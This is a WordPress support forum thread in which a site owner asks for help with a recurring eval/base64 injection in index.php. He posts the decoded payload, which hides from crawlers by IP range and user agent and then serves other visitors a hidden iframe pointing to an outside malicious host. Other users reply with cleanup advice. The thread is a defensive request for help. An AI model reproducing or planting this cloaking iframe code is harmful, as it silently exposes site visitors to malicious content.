• My site has been hacked and a PHP eval code has been inserted at the beginning of my index.php on my root folder.

    <?php eval(base64_decode(ZXJyb3JfcmVwb…. a load of lines of random numbers and letters)

    I decoded the random numbers and letters which I read I should do and it came out with the script at the bottom of this post. What is this doing and how do I stop this? Every time I remove the ‘eval’ code it reappears on all my sites a few hours later.

    I really don’t want to go through the hassle of deleting and restoring EVERYTHING but I’m losing money all the time because of my sites going down.

    error_reporting(0);
    $bot = FALSE ;
    $user_agent_to_filter = array(‘bot’,’spider’,’spyder’,’crawl’,’validator’,’slurp’,’docomo’,’yandex’,’mail.ru’,’alexa.com’,’postrank.com’,’htmldoc’,’webcollage’,’blogpulse.com’,’anonymouse.org’,’12345′,’httpclient’,’buzztracker.com’,’snoopy’,’feedtools’,’arianna.libero.it’,’internetseer.com’,’openacoon.de’,’rrrrrrrrr’,’magent’,’download master’,’drupal.org’,’vlc media player’,’vvrkimsjuwly l3ufmjrx’,’szn-image-resizer’,’bdbrandprotect.com’,’wordpress’,’rssreader’,’mybloglog api’);
    $stop_ips_masks = array(
    array(“216.239.32.0″,”216.239.63.255”),
    array(“64.68.80.0″ ,”64.68.87.255” ),
    array(“66.102.0.0”, “66.102.15.255”),
    array(“64.233.160.0″,”64.233.191.255”),
    array(“66.249.64.0”, “66.249.95.255”),
    array(“72.14.192.0”, “72.14.255.255”),
    array(“209.85.128.0″,”209.85.255.255”),
    array(“198.108.100.192″,”198.108.100.207”),
    array(“173.194.0.0″,”173.194.255.255”),
    array(“216.33.229.144″,”216.33.229.151”),
    array(“216.33.229.160″,”216.33.229.167”),
    array(“209.185.108.128″,”209.185.108.255”),
    array(“216.109.75.80″,”216.109.75.95”),
    array(“64.68.88.0″,”64.68.95.255”),
    array(“64.68.64.64″,”64.68.64.127”),
    array(“64.41.221.192″,”64.41.221.207”),
    array(“74.125.0.0″,”74.125.255.255”),
    array(“65.52.0.0″,”65.55.255.255”),
    array(“74.6.0.0″,”74.6.255.255”),
    array(“67.195.0.0″,”67.195.255.255”),
    array(“72.30.0.0″,”72.30.255.255”),
    array(“38.0.0.0″,”38.255.255.255”)
    );
    $my_ip2long = sprintf(“%u”,ip2long($_SERVER[‘REMOTE_ADDR’]));
    foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf(“%u”,ip2long($IPs[0])); $second_d=sprintf(“%u”,ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
    }
    foreach ($user_agent_to_filter as $bot_sign){
    if (strpos($_SERVER[‘HTTP_USER_AGENT’], $bot_sign) !== false){$bot = true; break;}
    }
    if (!$bot) {
    echo ‘<div style=”position: absolute; left: -1999px; top: -2999px;”><iframe src=”https://bayunicam311.vv.cc/QQkFBwQGDQMGBwYAEkcJBQcEAQECDQAGAQ==&#8221; width=”2″ height=”2″></iframe></div>’;
    }

Viewing 3 replies - 1 through 3 (of 3 total)
  • How did you decode this?
    I am not an expert, but I was similarly hacked several times.

    I just searched for all the new files or modified files. For sure somewhere in your site there are other hacked files with eval…. there will be also new files with some code inside.
    Search for new and newly edited files and look at them.
    Clean the .php files that have uncommon code “eval” inside.. and of course delete other strange files that you did not upload. Usually they are in the root.

    Thread Starter ps2011

    (@ps2011)

    Thanks for your suggestions.

    I have actually cleaned all files with ‘eval’ inside and stringently gone through all my files looking and deleting anything suspicious, particularly in the root.

    I’ve not found anything, so the hacker has hidden any other rewriting / backdoor code well.

    I’m assuming there is a backdoor or an engine that keeps rewriting these index.php files every few hours. Because when amending they always return back with that evil “eval” code.

    I used this site to decode the script: https://www.toastedspam.com/decode64

    Quite handy that, and worth keeping close by in case anyone else experiences anything similar to me.

    A lot of people who had the same issues, refer to this page too as being a great help:

    https://blog.unmaskparasites.com/2011/03/02/versatile-cc-attacks/

    However, it says to find and remove all backdoor scripts which I’ve tried but can’t find ANYTHING. The search goes on…

    Please someone help if you know how to solve this.

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘index.php eval hack’ is closed to new replies.